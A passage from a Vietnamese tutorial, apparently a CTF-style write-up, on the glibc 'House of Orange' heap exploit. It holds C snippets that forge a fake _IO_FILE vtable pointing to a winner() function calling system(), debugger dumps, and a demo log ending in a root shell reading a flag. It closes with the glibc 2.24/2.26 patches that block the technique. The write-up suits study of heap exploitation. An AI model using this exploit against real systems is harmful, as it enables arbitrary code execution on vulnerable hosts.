int winner(char *ptr)
{
  system(ptr);
  syscall(SYS_exit, 0);
  return 0;
}

Rồi chúng ta đặt vtable vào đâu đó trong top chunk, tại top + 0x80 = top[16] chẳng hạn:

size_t *jump_table = &top[16];
jump_table[3] = (size_t)&winner;

Chúng ta ghi địa chỉ của hàm winner() vào index thứ 3 bởi _IO_OVERFLOW cách 24 byte:

pwndbg> p &_IO_2_1_stderr_.vtable.__overflow
$42 = (_IO_OVERFLOW_t *) 0x7fc11bf1a6f8 <_IO_file_jumps+24>

Sau đó ghi địa chỉ của vtable vào vị trí tương ứng cách file pointer 216 = 0xd8 byte:

pwndbg> p &_IO_2_1_stderr_.vtable
$45 = (const struct _IO_jump_t **) 0x7fc11bf1c618 <_IO_2_1_stderr_+216>
*(size_t *)((size_t)fp + 0xd8) = (size_t)jump_table;

Cuối cùng, ta gọi malloc để cấp phát một chunk với kích thước khác 0x50 byte (để tránh việc thêm header 0x10 thành 0x60 byte bằng với kích thước giả mạo của top chunk), từ đó top chunk bị coi là không phù hợp, bị gỡ ra khỏi unsorted bin, từ đó kích hoạt toàn bộ chuỗi tấn công của chúng ta.

malloc(0x100);

Chúng ta có thể thấy được trạng thái của smallbin và heap sau malloc như sau:

pwndbg> bins
fastbins
empty
unsortedbin
all [corrupted]
FD: 0x321e7400 —▸ 0x7f4646b9ebc8 (main_arena+168) ◂— 0x321e7400
BK: 0x7f4646b9f510 ◂— 0x0
smallbins
0x60: 0x321e7400 —▸ 0x7f4646b9ebc8 (main_arena+168) ◂— 0x321e7400
largebins
empty

Top chunk bây giờ là một file pointer giả mạo đúng như chúng ta mong đợi:

          pwndbg> x/30gx 0x321e7400                                                            
          0x321e7400:     0x0068732f6e69622f      0x0000000000000061                           
          0x321e7410:     0x00007f4646b9ebc8      0x00007f4646b9ebc8                           
          0x321e7420:     0x0000000000000000      0x0000000000000001                           
          0x321e7430:     0x0000000000000000      0x0000000000000000                           
          0x321e7440:     0x0000000000000000      0x0000000000000000                           
          0x321e7450:     0x0000000000000000      0x0000000000000000                           
          0x321e7460:     0x0000000000000000      0x0000000000000000                           
          0x321e7470:     0x0000000000000000      0x0000000000000000                           
vtable ┌─►0x321e7480:     0x0000000000000000      0x0000000000000000                           
       │  0x321e7490:     0x0000000000000000      0x00000000004007df◄───_IO_OVERFLOW──►winner()
       │  0x321e74a0:     0x0000000000000000      0x0000000000000000                           
       │  0x321e74b0:     0x0000000000000000      0x0000000000000000                           
       │  0x321e74c0:     0x0000000000000000      0x0000000000000000                           
       │  0x321e74d0:     0x0000000000000000      0x00000000321e7480──┐                        
       │  0x321e74e0:     0x0000000000000000      0x0000000000000000  │                        
       │                                                              │                        
       └──────────────────────────────────────────────────────────────┘                        

Demo

Kỹ thuật có thể sẽ không thành công 100%, cần thực hiện nhiều lần:

root@c71533184795:/home/ctf# gcc houseoforange.c -o houseoforange
root@c71533184795:/home/ctf# ./houseoforange 
The attack vector of this technique was removed by changing the behavior of malloc_printerr, which is no longer calling _IO_flush_all_lockp, in 91e7cf982d0104f0e71770f5ae8e3faf352dea9f (2.26).
Since glibc 2.24 _IO_FILE vtable are checked against a whitelist breaking this exploit,https://sourceware.org/git/?p=glibc.git;a=commit;h=db3476aff19b75c4fdefbe65fcd5f0a90588ba51
*** Error in `./houseoforange': malloc(): memory corruption: 0x00007f8f3c6fa520 ***
======= Backtrace: =========
/lib/x86_64-linux-gnu/libc.so.6(+0x777f5)[0x7f8f3c3ac7f5]
/lib/x86_64-linux-gnu/libc.so.6(+0x8215e)[0x7f8f3c3b715e]
/lib/x86_64-linux-gnu/libc.so.6(__libc_malloc+0x54)[0x7f8f3c3b91d4]
./houseoforange[0x4007d8]
/lib/x86_64-linux-gnu/libc.so.6(__libc_start_main+0xf0)[0x7f8f3c355840]
./houseoforange[0x4005d9]
======= Memory map: ========
00400000-00401000 r-xp 00000000 00:38 801134                             /home/ctf/houseoforange
00600000-00601000 r--p 00000000 00:38 801134                             /home/ctf/houseoforange
00601000-00602000 rw-p 00001000 00:38 801134                             /home/ctf/houseoforange
1bf33000-1bf76000 rw-p 00000000 00:00 0                                  [heap]
7f8f38000000-7f8f38021000 rw-p 00000000 00:00 0 
7f8f38021000-7f8f3c000000 ---p 00000000 00:00 0 
7f8f3c11f000-7f8f3c135000 r-xp 00000000 00:38 24422                      /lib/x86_64-linux-gnu/libgcc_s.so.1
7f8f3c135000-7f8f3c334000 ---p 00016000 00:38 24422                      /lib/x86_64-linux-gnu/libgcc_s.so.1
7f8f3c334000-7f8f3c335000 rw-p 00015000 00:38 24422                      /lib/x86_64-linux-gnu/libgcc_s.so.1
7f8f3c335000-7f8f3c4f5000 r-xp 00000000 00:38 24401                      /lib/x86_64-linux-gnu/libc-2.23.so
7f8f3c4f5000-7f8f3c6f5000 ---p 001c0000 00:38 24401                      /lib/x86_64-linux-gnu/libc-2.23.so
7f8f3c6f5000-7f8f3c6f9000 r--p 001c0000 00:38 24401                      /lib/x86_64-linux-gnu/libc-2.23.so
7f8f3c6f9000-7f8f3c6fb000 rw-p 001c4000 00:38 24401                      /lib/x86_64-linux-gnu/libc-2.23.so
7f8f3c6fb000-7f8f3c6ff000 rw-p 00000000 00:00 0 
7f8f3c6ff000-7f8f3c725000 r-xp 00000000 00:38 24381                      /lib/x86_64-linux-gnu/ld-2.23.so
7f8f3c914000-7f8f3c917000 rw-p 00000000 00:00 0 
7f8f3c91d000-7f8f3c91e000 rw-p 00000000 00:00 0 
7f8f3c91e000-7f8f3c922000 r--p 00000000 00:00 0                          [vvar]
7f8f3c922000-7f8f3c924000 r-xp 00000000 00:00 0                          [vdso]
7f8f3c924000-7f8f3c925000 r--p 00025000 00:38 24381                      /lib/x86_64-linux-gnu/ld-2.23.so
7f8f3c925000-7f8f3c926000 rw-p 00026000 00:38 24381                      /lib/x86_64-linux-gnu/ld-2.23.so
7f8f3c926000-7f8f3c927000 rw-p 00000000 00:00 0 
7ffdeedd1000-7ffdeedf2000 rw-p 00000000 00:00 0                          [stack]
Segmentation fault (core dumped)

root@c71533184795:/home/ctf# ./houseoforange 
The attack vector of this technique was removed by changing the behavior of malloc_printerr, which is no longer calling _IO_flush_all_lockp, in 91e7cf982d0104f0e71770f5ae8e3faf352dea9f (2.26).
Since glibc 2.24 _IO_FILE vtable are checked against a whitelist breaking this exploit,https://sourceware.org/git/?p=glibc.git;a=commit;h=db3476aff19b75c4fdefbe65fcd5f0a90588ba51
*** Error in `./houseoforange': malloc(): memory corruption: 0x00007f353ac2a520 ***
======= Backtrace: =========
/lib/x86_64-linux-gnu/libc.so.6(+0x777f5)[0x7f353a8dc7f5]
/lib/x86_64-linux-gnu/libc.so.6(+0x8215e)[0x7f353a8e715e]
/lib/x86_64-linux-gnu/libc.so.6(__libc_malloc+0x54)[0x7f353a8e91d4]
./houseoforange[0x4007d8]
/lib/x86_64-linux-gnu/libc.so.6(__libc_start_main+0xf0)[0x7f353a885840]
./houseoforange[0x4005d9]
======= Memory map: ========
00400000-00401000 r-xp 00000000 00:38 801134                             /home/ctf/houseoforange
00600000-00601000 r--p 00000000 00:38 801134                             /home/ctf/houseoforange
00601000-00602000 rw-p 00001000 00:38 801134                             /home/ctf/houseoforange
1e807000-1e84a000 rw-p 00000000 00:00 0                                  [heap]
7f3534000000-7f3534021000 rw-p 00000000 00:00 0 
7f3534021000-7f3538000000 ---p 00000000 00:00 0 
7f353a64f000-7f353a665000 r-xp 00000000 00:38 24422                      /lib/x86_64-linux-gnu/libgcc_s.so.1
7f353a665000-7f353a864000 ---p 00016000 00:38 24422                      /lib/x86_64-linux-gnu/libgcc_s.so.1
7f353a864000-7f353a865000 rw-p 00015000 00:38 24422                      /lib/x86_64-linux-gnu/libgcc_s.so.1
7f353a865000-7f353aa25000 r-xp 00000000 00:38 24401                      /lib/x86_64-linux-gnu/libc-2.23.so
7f353aa25000-7f353ac25000 ---p 001c0000 00:38 24401                      /lib/x86_64-linux-gnu/libc-2.23.so
7f353ac25000-7f353ac29000 r--p 001c0000 00:38 24401                      /lib/x86_64-linux-gnu/libc-2.23.so
7f353ac29000-7f353ac2b000 rw-p 001c4000 00:38 24401                      /lib/x86_64-linux-gnu/libc-2.23.so
7f353ac2b000-7f353ac2f000 rw-p 00000000 00:00 0 
7f353ac2f000-7f353ac55000 r-xp 00000000 00:38 24381                      /lib/x86_64-linux-gnu/ld-2.23.so
7f353ae44000-7f353ae47000 rw-p 00000000 00:00 0 
7f353ae4d000-7f353ae4e000 rw-p 00000000 00:00 0 
7f353ae4e000-7f353ae52000 r--p 00000000 00:00 0                          [vvar]
7f353ae52000-7f353ae54000 r-xp 00000000 00:00 0                          [vdso]
7f353ae54000-7f353ae55000 r--p 00025000 00:38 24381                      /lib/x86_64-linux-gnu/ld-2.23.so
7f353ae55000-7f353ae56000 rw-p 00026000 00:38 24381                      /lib/x86_64-linux-gnu/ld-2.23.so
7f353ae56000-7f353ae57000 rw-p 00000000 00:00 0 
7fff23095000-7fff230b6000 rw-p 00000000 00:00 0                          [stack]
Segmentation fault (core dumped)

root@c71533184795:/home/ctf# ./houseoforange 
The attack vector of this technique was removed by changing the behavior of malloc_printerr, which is no longer calling _IO_flush_all_lockp, in 91e7cf982d0104f0e71770f5ae8e3faf352dea9f (2.26).
Since glibc 2.24 _IO_FILE vtable are checked against a whitelist breaking this exploit,https://sourceware.org/git/?p=glibc.git;a=commit;h=db3476aff19b75c4fdefbe65fcd5f0a90588ba51
*** Error in `./houseoforange': malloc(): memory corruption: 0x00007f6ed10ea520 ***
======= Backtrace: =========
/lib/x86_64-linux-gnu/libc.so.6(+0x777f5)[0x7f6ed0d9c7f5]
/lib/x86_64-linux-gnu/libc.so.6(+0x8215e)[0x7f6ed0da715e]
/lib/x86_64-linux-gnu/libc.so.6(__libc_malloc+0x54)[0x7f6ed0da91d4]
./houseoforange[0x4007d8]
/lib/x86_64-linux-gnu/libc.so.6(__libc_start_main+0xf0)[0x7f6ed0d45840]
./houseoforange[0x4005d9]
======= Memory map: ========
00400000-00401000 r-xp 00000000 00:38 801134                             /home/ctf/houseoforange
00600000-00601000 r--p 00000000 00:38 801134                             /home/ctf/houseoforange
00601000-00602000 rw-p 00001000 00:38 801134                             /home/ctf/houseoforange
3cac3000-3cb06000 rw-p 00000000 00:00 0                                  [heap]
7f6ecc000000-7f6ecc021000 rw-p 00000000 00:00 0 
7f6ecc021000-7f6ed0000000 ---p 00000000 00:00 0 
7f6ed0b0f000-7f6ed0b25000 r-xp 00000000 00:38 24422                      /lib/x86_64-linux-gnu/libgcc_s.so.1
7f6ed0b25000-7f6ed0d24000 ---p 00016000 00:38 24422                      /lib/x86_64-linux-gnu/libgcc_s.so.1
7f6ed0d24000-7f6ed0d25000 rw-p 00015000 00:38 24422                      /lib/x86_64-linux-gnu/libgcc_s.so.1
7f6ed0d25000-7f6ed0ee5000 r-xp 00000000 00:38 24401                      /lib/x86_64-linux-gnu/libc-2.23.so
7f6ed0ee5000-7f6ed10e5000 ---p 001c0000 00:38 24401                      /lib/x86_64-linux-gnu/libc-2.23.so
7f6ed10e5000-7f6ed10e9000 r--p 001c0000 00:38 24401                      /lib/x86_64-linux-gnu/libc-2.23.so
7f6ed10e9000-7f6ed10eb000 rw-p 001c4000 00:38 24401                      /lib/x86_64-linux-gnu/libc-2.23.so
7f6ed10eb000-7f6ed10ef000 rw-p 00000000 00:00 0 
7f6ed10ef000-7f6ed1115000 r-xp 00000000 00:38 24381                      /lib/x86_64-linux-gnu/ld-2.23.so
7f6ed1304000-7f6ed1307000 rw-p 00000000 00:00 0 
7f6ed130d000-7f6ed130e000 rw-p 00000000 00:00 0 
7f6ed130e000-7f6ed1312000 r--p 00000000 00:00 0                          [vvar]
7f6ed1312000-7f6ed1314000 r-xp 00000000 00:00 0                          [vdso]
7f6ed1314000-7f6ed1315000 r--p 00025000 00:38 24381                      /lib/x86_64-linux-gnu/ld-2.23.so
7f6ed1315000-7f6ed1316000 rw-p 00026000 00:38 24381                      /lib/x86_64-linux-gnu/ld-2.23.so
7f6ed1316000-7f6ed1317000 rw-p 00000000 00:00 0 
7ffc631f0000-7ffc63211000 rw-p 00000000 00:00 0                          [stack]
# id
uid=0(root) gid=0(root) groups=0(root)
# cat flag.txt      
flag{this_is_a_test_flag}

Patches

Từ glibc 2.24, kỹ thuật House of Orange trở nên khó khăn khi glibc bổ sung kiểm tra vtable của _IO_FILE trước khi gọi các hàm ảo, chỉ chấp nhận vtable hợp lệ nằm trong danh sách của libc. Điều này ngăn không cho kẻ tấn công sử dụng fake vtable trên heap để chuyển điều khiển tới code tùy ý.

Từ glibc 2.26, quá trình abort không còn tự động flush hoặc close các stream nữa, khiến cho đường dẫn khai thác dựa vào overwrite _IO_list_all và chờ abort để trigger _IO_OVERFLOW không còn hoạt động, ngăn chặn hoàn toàn kỹ thuật này.

Do đó, kỹ thuật này chỉ hiệu quả với glibc 2.23 trở xuống.

References

  1. https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_orange/
  2. https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_orange.c
  3. https://4ngelboy.blogspot.com/2016/10/hitcon-ctf-qual-2016-house-of-orange.html
  4. https://book.hacktricks.wiki/en/binary-exploitation/libc-heap/unsorted-bin-attack.html
  5. https://ctf-wiki.mahaloz.re/pwn/linux/io_file/introduction/
  6. https://ctf-wiki.mahaloz.re/pwn/linux/io_file/fsop/
  7. https://book.hacktricks.wiki/en/binary-exploitation/libc-heap/index.html
  8. https://book.hacktricks.wiki/en/binary-exploitation/libc-heap/bins-and-memory-allocations.html
  9. https://book.hacktricks.wiki/en/binary-exploitation/libc-heap/heap-memory-functions/malloc-and-sysmalloc.html
  10. https://elixir.bootlin.com/glibc/glibc-2.23/source
  11. https://0x434b.dev/overview-of-glibc-heap-exploitation-techniques/